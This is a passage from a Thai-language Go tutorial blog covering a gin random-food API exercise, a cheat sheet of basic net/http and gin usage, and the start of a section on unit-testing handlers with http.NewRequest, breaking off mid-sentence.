srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-17-at-7.58.07-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-17-at-7.58.07-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-17-at-7.58.07-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-17-at-7.58.07-AM.png 1628w" sizes="(min-width: 720px) 720px"></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-17-at-7.58.50-AM.png" class="kg-image" alt loading="lazy" width="1662" height="142" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-17-at-7.58.50-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-17-at-7.58.50-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-17-at-7.58.50-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-17-at-7.58.50-AM.png 1662w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE16;&#xE49;&#xE32; Handler Function &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE19;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49; &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE43;&#xE0A;&#xE49; Goroutine &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49; &#xE44;&#xE1B; Block &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Request &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE41;&#xE15;&#xE48;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE04;&#xE48;&#xE2D;&#xE19;&#xE02;&#xE49;&#xE32;&#xE07;&#xE40;&#xE23;&#xE47;&#xE27;&#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE07;&#xE44;&#xE1B;&#xE15;&#xE23;&#xE07;&#xE21;&#xE32; &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Goroutine &#xE08;&#xE36;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; API &#xE14;&#xE49;&#xE27;&#xE22; gin &#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE15;&#xE31;&#xE14;&#xE2A;&#xE34;&#xE19;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE17;&#xE32;&#xE19;&#xE2D;&#xE30;&#xE44;&#xE23; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE38;&#xE48;&#xE21;&#xE40;&#xE21;&#xE19;&#xE39;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; JSON</p><figure class="kg-card kg-code-card"><pre><code>import (
	&quot;math/rand&quot;
	&quot;net/http&quot;
	&quot;time&quot;

	&quot;github.com/gin-gonic/gin&quot;
)

func getRandomFood() string {
    // &#xE04;&#xE27;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1A;&#xE23;&#xE23;&#xE17;&#xE31;&#xE14;&#xE19;&#xE35;&#xE49;
    rand.Seed(time.Now().UnixNano())
    
    foods := []string{&quot;&#xE02;&#xE49;&#xE32;&#xE27;&#xE1C;&#xE31;&#xE14; &#x1F35A;&quot;, &quot;&#xE1C;&#xE31;&#xE14;&#xE44;&#xE17;&#xE22; &#x1F961;&quot;, &quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07; &#x1F372;&quot;, &quot;&#xE2A;&#xE49;&#xE21;&#xE15;&#xE33; &#x1F957;&quot;, &quot;&#xE44;&#xE01;&#xE48;&#xE17;&#xE2D;&#xE14; &#x1F357;&quot;}
    return foods[rand.Intn(len(foods))]
}</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Function &#xE2A;&#xE38;&#xE48;&#xE21;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;</figcaption></figure><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE48;&#xE07; GET Request &#xE44;&#xE1B;&#xE17;&#xE35;&#xE48; Resource &apos;/random&apos; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Response &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; JSON &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE19;&#xE35;&#xE49;</p><pre><code>{
  &quot;food&quot;: &quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07; &#x1F372;&quot;,
  &quot;message&quot;: &quot;&#xE27;&#xE31;&#xE19;&#xE19;&#xE35;&#xE49;&#xE04;&#xE38;&#xE13;&#xE04;&#xE27;&#xE23;&#xE17;&#xE32;&#xE19; &#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07; &#x1F372;&quot;
}</code></pre><p><em><a href="https://forms.gle/5eW6YG1fErVSDJ3x6?ref=blog.pjjop.org"><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Go Quiz </em></em></em></em></em></em></em></em>1</em></em></em></em>5</em></em></em></a><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> (</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>16<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%B7%E0%B8%AD%E0%B8%82%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99"><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet</em></em></em></em> <em>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</em></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;
-----------------------

1. &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Web Server &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;
	http.HandleFunc(&quot;/&quot;, func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot;)
	})
	http.ListenAndServe(&quot;:8080&quot;, nil)
    
2. &#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Web
	response, err := http.Get(&quot;https://example.com&quot;)
	body, err := io.ReadAll(response.Body)
	defer response.Body.Close()
    
3. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Gin Framework
	r := gin.Default()
	r.GET(&quot;/&quot;, func(c *gin.Context) {
		c.String(http.StatusOK, &quot;&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE09;&#xE31;&#xE19;!&quot;)
	})
	r.Run(&quot;:8080&quot;)
    
4. &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API
	r.GET(&quot;/orders/:order_id&quot;, func(c *gin.Context) {
		orderID := c.Param(&quot;order_id&quot;)
		// &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE02;&#xE2D;
		c.JSON(http.StatusOK, gin.H{&quot;orderid&quot;: orderID})
	})
    
5. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Middleware
	func SimpleMiddleware() gin.HandlerFunc {
		return func(c *gin.Context) {
			// &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19; request
			c.Next()
			// &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE07; request
		}
	}
	r.Use(SimpleMiddleware())
    
6. &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; Route
	orders := r.Group(&quot;/api/v1&quot;)
	{
		orders.POST(&quot;/orders&quot;, createOrder)
		orders.GET(&quot;/orders&quot;, listOrders)
		orders.GET(&quot;/orders/:id&quot;, getOrder)
	}
    
7. Best Practices
	- &#xE43;&#xE0A;&#xE49; defer &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE34;&#xE14; Response Body &#xE40;&#xE2A;&#xE21;&#xE2D;
	- &#xE43;&#xE0A;&#xE49; UTC &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE40;&#xE27;&#xE25;&#xE32;
	- &#xE43;&#xE0A;&#xE49; time.RFC3339 &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Format &#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19; JSON</code></pre><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%94%E0%B8%AA%E0%B8%AD%E0%B8%9A%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%AA%E0%B8%B9%E0%B8%87"><strong><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07;</strong></strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE01;&#xE31;&#xE1A; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Mock Database &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE23;&#xE30;&#xE1A;&#xE27;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Web Application &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07; API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE08;&#xE23;&#xE34;&#xE07;</p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE27;&#xE48;&#xE32; API &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07; &#xE23;&#xE31;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Error &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21; &#xE43;&#xE19;&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Mock Database &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27;&#xE02;&#xE36;&#xE49;&#xE19; &#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE15;&#xE48;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE23;&#xE34;&#xE07;&#xE43;&#xE19; Database</p><p><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API </strong></p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE01;&#xE47;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE31;&#xE48;&#xE07; &quot;&#xE02;&#xE49;&#xE32;&#xE27;&#xE44;&#xE02;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE27;&#xE1B;&#xE39;&quot; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE2A;&#xE34;&#xE23;&#xE4C;&#xE1F; &quot;&#xE02;&#xE49;&#xE32;&#xE27;&#xE44;&#xE02;&#xE48;&#xE40;&#xE02;&#xE35;&#xE22;&#xE27;&#xE1B;&#xE39;&quot; &#xE08;&#xE23;&#xE34;&#xE07;&#xE46; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE36;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE0A;&#xE47;&#xE04;&#xE1A;&#xE34;&#xE25; &#xE40;&#xE23;&#xE32;&#xE04;&#xE34;&#xE14;&#xE40;&#xE07;&#xE34;&#xE19;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE44;&#xE2B;&#xE21; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE49;&#xE19;</p><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE41;&#xE01;&#xE48;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE49;&#xE2D;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE21;&#xE37;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE43;&#xE19;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE44;&#xE14;&#xE49; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; API &#xE42;&#xE14;&#xE22;&#xE08;&#xE30; Focus &#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Handler Function &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Gin &#xE43;&#xE2B;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE42;&#xE2B;&#xE21;&#xE14;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE1B;&#xE34;&#xE14;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Middleware &#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE32;&#xE08;&#xE21;&#xE35;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE15;&#xE48;&#xE2D;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE22;&#xE32;&#xE01;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE27;&#xE48;&#xE32;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01; Handler &#xE2B;&#xE23;&#xE37;&#xE2D; Middleware</p><pre><code>gin.SetMode(gin.TestMode)</code></pre><p>&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE08;&#xE31;&#xE14;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30; &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE27;&#xE48;&#xE32;&#xE16;&#xE49;&#xE32;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Order &#xE40;&#xE21;&#xE19;&#xE39;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE1E;&#xE48;&#xE2D;&#xE04;&#xE23;&#xE31;&#xE27; (Hendler Function) &#xE04;&#xE19;&#xE44;&#xE2B;&#xE19;</p><pre><code>r := gin.Default()
r.GET(&quot;/hello&quot;, HelloHandler)</code></pre><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Unit Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; HTTP Request &#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE2D;&#xE2D;&#xE01;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Network</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21; Request &#xE44;&#xE27;&#xE49;&#xE01;&#xE48;&#xE2D;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE25;&#xE07;&#xE1A;&#xE19;&#xE01;&#xE23;&#xE30;&#xE14;&#xE32;&#xE29;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; http.NewRequest()</p><p>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Web Server &#xE14;&#xE49;&#xE27;&#xE22; http.Get() &#xE17;&#xE35;&#xE48;&#xE1E;&#xE19;&#xE31;&#xE01;&#xE07;&#xE32;&#xE19;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Request &#xE2D;&#xE2D;&#xE01;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Network &#xE42;&#xE14;&#xE22;&#xE17;&#xE31;&#xE19;&#xE17;&#xE35;</p><pre><code>req, err := http.NewRequest(http.MethodGet, &quot;/hello&quot;, nil)</code></pre><p>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07; Handler Function 